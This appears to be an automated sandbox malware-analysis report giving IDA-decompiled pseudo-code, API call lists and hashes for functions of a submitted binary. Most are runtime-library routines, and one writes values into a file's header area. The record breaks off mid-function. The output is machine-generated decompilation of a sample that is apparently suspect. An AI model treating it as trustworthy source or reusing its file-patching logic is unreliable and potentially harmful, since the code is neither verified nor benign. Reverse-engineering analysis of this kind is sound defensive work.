Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: .$D$T
API String ID: 1203007601-2113802054
Opcode ID: e92a29b9f0590de3456140cb1478c14a9b7caaa662aaf306b3782128903a9718
Instruction ID: b0a16f5e20a0d3d95dfc14928d07b553535a90339bf5c2d21bf70bafcdbab383
Opcode Fuzzy Hash: e92a29b9f0590de3456140cb1478c14a9b7caaa662aaf306b3782128903a9718
Instruction Fuzzy Hash: 6B31E6B710C3809AC204EA69A84169FBBD49BE1324F44496FF19583282D778D548C7BF

Uniqueness

Uniqueness Score: -1.00%

Function 00407760, Relevance: 7.6, APIs: 5, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407760(intOrPtr _a4) {
				long _v4;
				CHAR* _t9;
				void* _t23;
				intOrPtr _t27;
				void* _t31;

				if( *((intOrPtr*)(_t23 + 0x50)) < 0x10) {
					_t9 = _t23 + 0x3c;
				} else {
					_t9 =  *(_t23 + 0x3c);
				}
				_t31 = CreateFileA(_t9, 0x40000000, 0, 0, 3, 0, 0);
				if(_t31 != 0xffffffff) {
					_t27 = _a4;
					SetFilePointer(_t31,  *((intOrPtr*)(_t27 + 0x3c)) + 0x20, 0, 0);
					WriteFile(_t31, _t27 + 0x38, 4,  &_v4, 0);
					WriteFile(_t31, _t27 + 0x40, 4,  &_v4, 0);
					CloseHandle(_t31);
					return 1;
				} else {
					return 0;
				}
			}

0x00407765
0x0040776c
0x00407767
0x00407767
0x00407767
0x00407786
0x0040778b
0x00407796
0x004077a6
0x004077c0
0x004077d0
0x004077d3
0x004077e2
0x0040778d
0x00407791
0x00407791

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,004088C2,?,?,00000000,000000FF,?,00000000), ref: 00407780
SetFilePointer.KERNEL32(00000000,?,00000000,00000000,?,00000001,?,0000000A), ref: 004077A6
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077C0
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077D0
CloseHandle.KERNEL32(00000000,?,0000000A), ref: 004077D3

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID:
API String ID: 2529654636-0
Opcode ID: acaeaeff6ab3aa7318d4331dd407c2f587e1fac36e7cf16243b56850ac20a70b
Instruction ID: 8c88868263e79b92fc26ee7e50f9a1421875fa417e7f69dbe3cb34c2d3c6a3f0
Opcode Fuzzy Hash: acaeaeff6ab3aa7318d4331dd407c2f587e1fac36e7cf16243b56850ac20a70b
Instruction Fuzzy Hash: E20192B2340210BBF220D665DC85FABB35CEB45B51F604529F301AB1C0D7B0B912866E

Uniqueness

Uniqueness Score: -1.00%

Function 00426F68, Relevance: 7.5, APIs: 5, Instructions: 40
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 43%

			E00426F68() {
				void* __ebx;
				void* __esi;
				long _t5;
				void* _t7;
				long _t11;
				long _t12;
				void* _t16;
				long* _t18;
				long* _t19;

				_t5 = GetLastError();
				_t12 = _t5;
				_t18 =  *0x432058( *0x431124);
				_t20 = _t18;
				if(_t18 == 0) {
					_push(0x8c);
					_push(1);
					_t19 = E0042AF1A(_t12, _t16, _t18, _t20);
					_t18 = _t19;
					if(_t18 == 0) {
						L4:
						E00425D48(0x10);
					} else {
						_push(_t18);
						_push( *0x431124);
						if( *0x43205c() == 0) {
							goto L4;
						} else {
							_t18[0x15] = 0x431878;
							_t18[5] = 1;
							_t11 = GetCurrentThreadId();
							_t18[1] = _t18[1] | 0xffffffff;
							 *_t18 = _t11;
						}
					}
				}
				SetLastError(_t12);
				_t7 = _t18;
				return _t7;
			}

0x00426f6a
0x00426f77
0x00426f80
0x00426f80
0x00426f82
0x00426f84
0x00426f89
0x00426f91
0x00426f92
0x00426f96
0x00426fc5
0x00426fc7
0x00426f98
0x00426f98
0x00426f99
0x00426fa7
0x00000000
0x00426fa9
0x00426fa9
0x00426fb0
0x00426fb7
0x00426fbd
0x00426fc1
0x00426fc1
0x00426fa7
0x00426f96
0x00426fce
0x00426fd5
0x00426fd8

APIs

GetLastError.KERNEL32(?,7710A080,00429D66,0042754D,00000000,0042E878,00000008,004275A4,?,?,?,004255E1,00000004,0042E528,0000000C,004274A4), ref: 00426F6A
FlsGetValue.KERNEL32(?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F78
SetLastError.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426FCE

Part of subcall function 0042AF1A: RtlAllocateHeap.NTDLL(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C

FlsSetValue.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F9F
GetCurrentThreadId.KERNEL32 ref: 00426FB7

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ErrorLastValue$AllocateCurrentHeapThread
String ID:
API String ID: 2047054392-0
Opcode ID: a62a2595a1c9470fb260ec6d1692ba86d13570a3654f699a03eb6e934872cab6
Instruction ID: 5979b18debc4ecf383730097908f52dd8a4e602fdba4cab26fa13c208cb6dbf1
Opcode Fuzzy Hash: a62a2595a1c9470fb260ec6d1692ba86d13570a3654f699a03eb6e934872cab6
Instruction Fuzzy Hash: B4F0FC72204320AFEB306FA1BE0DA877BA4EF04761B52052AF382951E0CB744405DB7D

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF50, Relevance: 7.5, APIs: 5, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041EF50(void* __ecx) {
				signed int _t9;
				signed int _t10;
				signed int _t12;
				signed int _t22;
				void* _t27;

				_pop(_t27);
				_t1 = _t27 + 0x14c; // 0x104
				_push( *_t1);
				asm("pushfd");
				_t22 = 1;
				asm("popfd");
				if(ResetEvent(??) == 0) {
					_t22 = 0;
				}
				_t2 = _t27 + 0x150; // 0x110
				_t9 = ResetEvent( *_t2);
				_t3 = _t27 + 0x154; // 0x114
				_t10 = ResetEvent( *_t3);
				_t4 = _t27 + 0x158; // 0x10c
				_t12 = ResetEvent( *_t4);
				_t5 = _t27 + 0x15c; // 0x108
				return ResetEvent( *_t5) & _t22 & _t9 & _t10 & _t12;
			}

0x0041ef59
0x0041ef5a
0x0041ef61
0x0041ef62
0x0041ef65
0x0041ef66
0x0041ef6b
0x0041ef6d
0x0041ef6d
0x0041ef6f
0x0041ef76
0x0041ef78
0x0041ef81
0x0041ef85
0x0041ef8c
0x0041ef8e
0x0041ef9e

APIs

ResetEvent.KERNEL32(00000104,?,?,00000001,00415134), ref: 0041EF67
ResetEvent.KERNEL32(00000110), ref: 0041EF76
ResetEvent.KERNEL32(00000114), ref: 0041EF81
ResetEvent.KERNEL32(0000010C), ref: 0041EF8C
ResetEvent.KERNEL32(00000108), ref: 0041EF97

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: EventReset
String ID:
API String ID: 2632953641-0
Opcode ID: c64aa8e1426d5e8b00e240689cc94e0fe6e650d9d81e349bc9808d9cf281f10f
Instruction ID: 55b3c0001865ef3461792363f9f6da33740fb052b6696a09a4c2efe982a40035
Opcode Fuzzy Hash: c64aa8e1426d5e8b00e240689cc94e0fe6e650d9d81e349bc9808d9cf281f10f
Instruction Fuzzy Hash: 71F030B3211A00ABD72497FA8CC5DD7A3DAEBCD355B140829A25AC3200D93CE8418778

Uniqueness

Uniqueness Score: -1.00%

Function 00413AD0, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00413AD0(void* __ecx, void* __eflags) {
				void* __ebx;
				signed int _t9;
				signed int _t10;
				signed int _t11;
				signed int _t13;
				void* _t16;
				void* _t26;

				E00421EC0();
				E00421D50(_t16);
				_push(_t16);
				_t26 = 0x431c98;
				_t1 = _t26 + 0x14c; // 0x104
				_t9 = SetEvent( *_t1);
				_t2 = _t26 + 0x150; // 0x110
				_t10 = SetEvent( *_t2);
				_t3 = _t26 + 0x154; // 0x114
				_t11 = SetEvent( *_t3);
				_t4 = _t26 + 0x158; // 0x10c
				_t13 = SetEvent( *_t4);
				_t5 = _t26 + 0x15c; // 0x108
				return SetEvent( *_t5) & _t9 & 0x00000001 & _t10 & _t11 & _t13;
			}

0x00413ad0
0x00413ada
0x0041ef00
0x0041ef09
0x0041ef0b
0x0041ef12
0x0041ef14
0x0041ef20
0x0041ef22
0x0041ef2b
0x0041ef2f
0x0041ef36
0x0041ef38
0x0041ef48

APIs

SetEvent.KERNEL32(00000104,?,?,00000001,00415108), ref: 0041EF12
SetEvent.KERNEL32(00000110), ref: 0041EF20
SetEvent.KERNEL32(00000114), ref: 0041EF2B
SetEvent.KERNEL32(0000010C), ref: 0041EF36
SetEvent.KERNEL32(00000108), ref: 0041EF41

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction ID: 92241c2d29be1143f2a9536055d46b80d7f207951b744ccd9958107ee56c1688
Opcode Fuzzy Hash: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction Fuzzy Hash: F6F08273710910A7C31896F99C899EAE399FB8C395B45062AEA19D7310CA3CAC1047EC

Uniqueness

Uniqueness Score: -1.00%

Function 0042649B, Relevance: 7.5, APIs: 5, Instructions: 32
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042649B() {
				struct _FILETIME _v12;
				signed int _v16;
				union _LARGE_INTEGER _v20;
				signed int _t7;
				signed int _t9;
				signed int _t10;
				signed int _t11;
				signed int _t15;
				signed int _t22;

				_t7 =  *0x4310d8; // 0xd0c2a9a8
				if(_t7 == 0 || _t7 == 0xbb40e64e) {
					GetSystemTimeAsFileTime( &_v12);
					_t9 = GetCurrentProcessId();
					_t10 = GetCurrentThreadId();
					_t11 = GetTickCount();
					QueryPerformanceCounter( &_v20);
					_t15 = _v16 ^ _v20.LowPart;
					_t22 = _v12.dwHighDateTime ^ _v12.dwLowDateTime ^ _t9 ^ _t10 ^ _t11 ^ _t15;
					 *0x4310d8 = _t22;
					if(_t22 == 0) {
						 *0x4310d8 = 0xbb40e64e;
					}
					return _t15;
				}
				return _t7;
			}

0x004264a1
0x004264a8
0x004264b6
0x004264c2
0x004264ca
0x004264d2
0x004264de
0x004264e7
0x004264ea
0x004264ec
0x004264f2
0x004264f4
0x004264f4
0x00000000
0x004264fe
0x00426500

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 004264B6
GetCurrentProcessId.KERNEL32 ref: 004264C2
GetCurrentThreadId.KERNEL32 ref: 004264CA
GetTickCount.KERNEL32 ref: 004264D2
QueryPerformanceCounter.KERNEL32(?), ref: 004264DE

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction ID: 499c131aa02166e40c80eeea4be7d3552c431a5fdd0afb938acd6548f02731da
Opcode Fuzzy Hash: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction Fuzzy Hash: BCF0B271E00124ABDB20EBB5ED4859FB7F8FF08251BC60576D801E7160EA34A9558B88

Uniqueness

Uniqueness Score: -1.00%

Function 004221A7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004221A7(void* __eax, short __ebx, void* __ebp, char _a16, char _a36, char _a96, char _a360, char _a624, intOrPtr _a1156) {
				void* _t30;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t33;
				void* _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr* _t39;
				unsigned int _t40;
				CHAR* _t43;
				char _t57;
				intOrPtr _t58;
				void _t59;
				unsigned int _t60;
				signed int _t61;
				char _t68;
				intOrPtr _t69;
				void _t70;
				signed int _t72;
				int _t75;
				void* _t80;
				void* _t81;
				short* _t85;
				void* _t87;
				short* _t95;
				void* _t97;
				void* _t101;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t107;
				void* _t109;
				void* _t112;
				void* _t114;

				_t107 = __ebp;
				_t55 = __ebx;
				_t30 = __eax;
				do {
					_t57 =  *((intOrPtr*)(_t109 + _t30 + 0x378));
					 *((char*)(_t109 + _t30 + 0x60)) = _t57;
					_t30 = _t30 + 1;
				} while (_t57 != 0);
				_t85 =  &_a96 - 1;
				do {
					_t31 =  *((intOrPtr*)(_t85 + 1));
					_t85 = _t85 + 1;
				} while (_t31 != 0);
				_t32 =  &_a36;
				 *_t85 = __ebx;
				_t80 = _t32;
				do {
					_t58 =  *_t32;
					_t32 = _t32 + 1;
				} while (_t58 != 0);
				_t33 = _t32 - _t80;
				_t87 =  &_a96 - 1;
				do {
					_t59 =  *(_t87 + 1);
					_t87 = _t87 + 1;
				} while (_t59 != 0);
				_t60 = _t33;
				_t61 = _t60 >> 2;
				_t103 = _t80;
				_t35 = memcpy(_t103 + _t61 + _t61, _t103, memcpy(_t87, _t103, _t61 << 2) & 0x00000003);
				_push(0x41);
				_t37 = memset( &_a360, _t35 - _t35, 0 << 2);
				_t112 = _t109 + 0x24;
				do {
					_t68 =  *((intOrPtr*)(_t112 + _t37 + 0x378));
					 *((char*)(_t112 + _t37 + 0x168)) = _t68;
					_t37 = _t37 + 1;
				} while (_t68 != 0);
				_t95 =  &_a360 - 1;
				do {
					_t38 =  *((intOrPtr*)(_t95 + 1));
					_t95 = _t95 + 1;
				} while (_t38 != 0);
				_t39 =  &_a16;
				 *_t95 = __ebx;
				_t81 = _t39;
				do {
					_t69 =  *_t39;
					_t39 = _t39 + 1;
				} while (_t69 != 0);
				_t40 = _t39 - _t81;
				_t97 =  &_a360 - 1;
				do {
					_t70 =  *(_t97 + 1);
					_t97 = _t97 + 1;
				} while (_t70 != 0);
				_t72 = _t40 >> 2;
				_t104 = _t81;
				_t75 = memcpy(_t97, _t104, _t72 << 2) & 0x00000003;
				_t43 = memcpy(_t104 + _t72 + _t72, _t104, _t75);
				_t114 = _t112 + 0x18;
				_t101 = _t104 + _t75 + _t75;
				_t105 = GetFileAttributesA;
				if(GetFileAttributesA(_t43) == 0xffffffff) {
					E00421E40(0,  &_a624, 0x42e424);
					_t114 = _t114 + 0xc;
				}
				if(GetFileAttributesA( &_a96) == 0xffffffff) {
					E00421E40(0,  &_a96, 0x42e420);
					_t114 = _t114 + 0xc;
				}
				if(GetFileAttributesA( &_a360) == 0xffffffff) {
					E00421E40(0,  &_a360, "fwe");
				}
				E004223A0(_t55, _t101, _t105, _t107);
				asm("pushfd");
				asm("popfd");
				return E00424873(1, _a1156);
			}

0x004221a7
0x004221a7
0x004221a7
0x004221b0
0x004221b0
0x004221b7
0x004221bb
0x004221bc
0x004221c4
0x004221c5
0x004221c5
0x004221c8
0x004221c9
0x004221cd
0x004221d1
0x004221d5
0x004221d6
0x004221d6
0x004221d8
0x004221d9
0x004221e1
0x004221e3
0x004221e4
0x004221e4
0x004221e7
0x004221e8
0x004221ed
0x004221ee
0x004221f2
0x004221fa
0x004221fe
0x0042220a
0x0042220a
0x00422210
0x00422210
0x00422217
0x0042221e
0x0042221f
0x0042222a
0x00422230
0x00422230
0x00422233
0x00422234
0x00422238
0x0042223c
0x00422240
0x00422241
0x00422241
0x00422243
0x00422244
0x0042224f
0x00422251
0x00422252
0x00422252
0x00422255
0x00422256
0x0042225c
0x0042225f
0x00422265
0x0042226f
0x0042226f
0x0042226f
0x00422271
0x0042227d
0x0042228e
0x00422293
0x00422293
0x004222a0
0x004222ae
0x004222b3
0x004222b3
0x004222c3
0x004222d4
0x004222d9
0x004222dc
0x004222e8
0x004222ec
0x004222f8

APIs

GetFileAttributesA.KERNEL32(?), ref: 00422278
GetFileAttributesA.KERNEL32(?), ref: 0042229B
GetFileAttributesA.KERNEL32(?), ref: 004222BE

Strings

fwe, xrefs: 004222C5

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AttributesFile
String ID: fwe
API String ID: 3188754299-4005368934
Opcode ID: 927e4b8be906aa98deb3e21867225118aa41a88aa33719cec49b5947b90b1919
Instruction ID: 995f0844c349c79863ee23e919243886a9f358617b9ef8b3acec893ed05e48c2
Opcode Fuzzy Hash: 927e4b8be906aa98deb3e21867225118aa41a88aa33719cec49b5947b90b1919
Instruction Fuzzy Hash: 60318C3160C79567CA25DA347C10BFBF7D5AFD1314FA00B6AE8D883281DBB69845C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 00426F4B, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00426F4B() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t3;
				struct _CRITICAL_SECTION* _t4;
				void* _t8;
				struct _CRITICAL_SECTION* _t12;
				signed int* _t15;
				struct _CRITICAL_SECTION** _t16;

				_t3 =  *0x431124; // 0x5
				if(_t3 != 0xffffffff) {
					 *0x432060(_t3);
					 *0x431124 =  *0x431124 | 0xffffffff;
				}
				_t8 = DeleteCriticalSection;
				_t15 = 0x431130;
				do {
					_t12 =  *_t15;
					if(_t12 != 0) {
						_t21 = _t15[1] - 1;
						if(_t15[1] != 1) {
							DeleteCriticalSection(_t12);
							_push(_t12);
							E004255BE(_t8, _t12, _t15, _t21);
							 *_t15 =  *_t15 & 0x00000000;
						}
					}
					_t15 =  &(_t15[2]);
				} while (_t15 < 0x431250);
				_t16 = 0x431130;
				do {
					_t4 =  *_t16;
					if(_t4 != 0 && _t16[1] == 1) {
						DeleteCriticalSection(_t4);
					}
					_t16 =  &(_t16[2]);
				} while (_t16 < 0x431250);
				return _t4;
			}

0x00426f4b
0x00426f53
0x00426f56
0x00426f5c
0x00426f5c
0x00427482
0x00427489
0x0042748f
0x0042748f
0x00427493
0x00427495
0x00427499
0x0042749c
0x0042749e
0x0042749f
0x004274a4
0x004274a7
0x00427499
0x004274a8
0x004274ab
0x004274b3
0x004274b9
0x004274b9
0x004274bd
0x004274c6
0x004274c6
0x004274c8
0x004274cb
0x004274d5

APIs

FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,0042720A,?,0042E598,00000060), ref: 0042749C
DeleteCriticalSection.KERNEL32(00000005,?,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

h C, xrefs: 00427489, 004274B3

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CriticalDeleteSection$Free
String ID: h C
API String ID: 1584690612-3285481218
Opcode ID: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction ID: 46e1f5d38daa45a4b8a1175150061cd4bbfd52aad6ded1a2a2748f1cabc2c9bd
Opcode Fuzzy Hash: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction Fuzzy Hash: D2F0A432A0423097CA346A18BC855A6B6E89F49731B55573FE9E9E32A0C33C9C42866C

Uniqueness

Uniqueness Score: -1.00%

Function 0042B4DF, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 62%

			E0042B4DF(void* __eflags) {
				_Unknown_base(*)()* _t10;
				struct HINSTANCE__* _t14;
				void* _t15;
				void* _t16;
				void* _t17;
				void* _t18;

				_push(0x10);
				_push(0x42efe0);
				E0042664C(_t15, _t16, _t17);
				_t10 =  *0x432398;
				if(_t10 == 0) {
					if( *0x432214 == 1) {
						L4:
						_t10 = 0x42b4cf;
						 *0x432398 = 0x42b4cf;
					} else {
						_t14 = GetModuleHandleA("kernel32.dll");
						if(_t14 == 0) {
							goto L4;
						} else {
							_t10 = GetProcAddress(_t14, "InitializeCriticalSectionAndSpinCount");
							 *0x432398 = _t10;
							if(_t10 == 0) {
								goto L4;
							}
						}
					}
				}
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				 *((intOrPtr*)(_t18 - 0x20)) =  *_t10( *((intOrPtr*)(_t18 + 8)),  *((intOrPtr*)(_t18 + 0xc)));
				 *(_t18 - 4) =  *(_t18 - 4) | 0xffffffff;
				return E00426687(_t11);
			}

0x0042b4df
0x0042b4e1
0x0042b4e6
0x0042b4f0
0x0042b4f2
0x0042b4fb
0x0042b521
0x0042b521
0x0042b526
0x0042b4fd
0x0042b508
0x0042b50a
0x00000000
0x0042b50c
0x0042b512
0x0042b518
0x0042b51f
0x00000000
0x00000000
0x0042b51f
0x0042b50a
0x0042b4fb
0x0042b52b
0x0042b537
0x0042b560
0x0042b569

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,0042EFE0,00000010,00427463,00000000,00000FA0,73B74DE0,?,00427125,00425E71,?,0042E598,00000060), ref: 0042B502
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 0042B512

Strings

kernel32.dll, xrefs: 0042B4FD
InitializeCriticalSectionAndSpinCount, xrefs: 0042B50C

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 1646373207-3733552308
Opcode ID: 4b91253f435a6b939df2c60bb8b7d5e57bf8ef64476745f661ba9f696ac5fe18
Instruction ID: 1616cd2551cc8d4b0d479455eb505a665a143d5cb1c5e7afc535bb5695cffbd0
Opcode Fuzzy Hash: 4b91253f435a6b939df2c60bb8b7d5e57bf8ef64476745f661ba9f696ac5fe18
Instruction Fuzzy Hash: 4CF05470741235FACB10AFB1FD467593BA0EB04748FD44526E814D52A0D77C86818A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C576, Relevance: 6.3, APIs: 4, Instructions: 254
fileCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0042C576(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t80;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				signed char _t85;
				signed int _t93;
				signed int _t95;
				signed int _t99;
				signed char _t101;
				signed int* _t103;
				long _t104;
				signed int _t109;
				signed int* _t114;
				signed int _t117;
				void* _t118;
				long _t121;
				signed int _t122;
				intOrPtr* _t124;
				void* _t125;
				signed int _t134;
				signed char _t137;
				signed int _t141;
				long _t145;
				void* _t146;
				signed int _t149;
				void* _t151;
				void* _t152;
				void* _t161;

				_t125 = __ecx;
				_t151 = _t152;
				_t137 =  *(_t151 + 0x14);
				 *(_t151 - 0x1c) = 0xc;
				 *((intOrPtr*)(_t151 - 0x18)) = 0;
				if(_t137 >= 0) {
					 *(_t151 - 0x14) = 1;
					 *(_t151 - 1) = 0;
				} else {
					 *(_t151 - 0x14) = 0;
					 *(_t151 - 1) = 0x10;
				}
				if((0x00008000 & _t137) != 0) {
					L7:
					_t80 = _t137;
					_t121 = 3;
					_t82 = _t80 & _t121;
					if(_t82 == 0) {
						 *(_t151 - 0x10) = 0x80000000;
						L13:
						if(_t125 == 0x10) {
							 *(_t151 - 8) = 0;
							L22:
							_t83 = _t137;
							_t84 = _t83 & 0x00000700;
							__eflags = _t84 - 0x400;
							if(__eflags > 0) {
								__eflags = _t84 - 0x500;
								if(_t84 == 0x500) {
									L37:
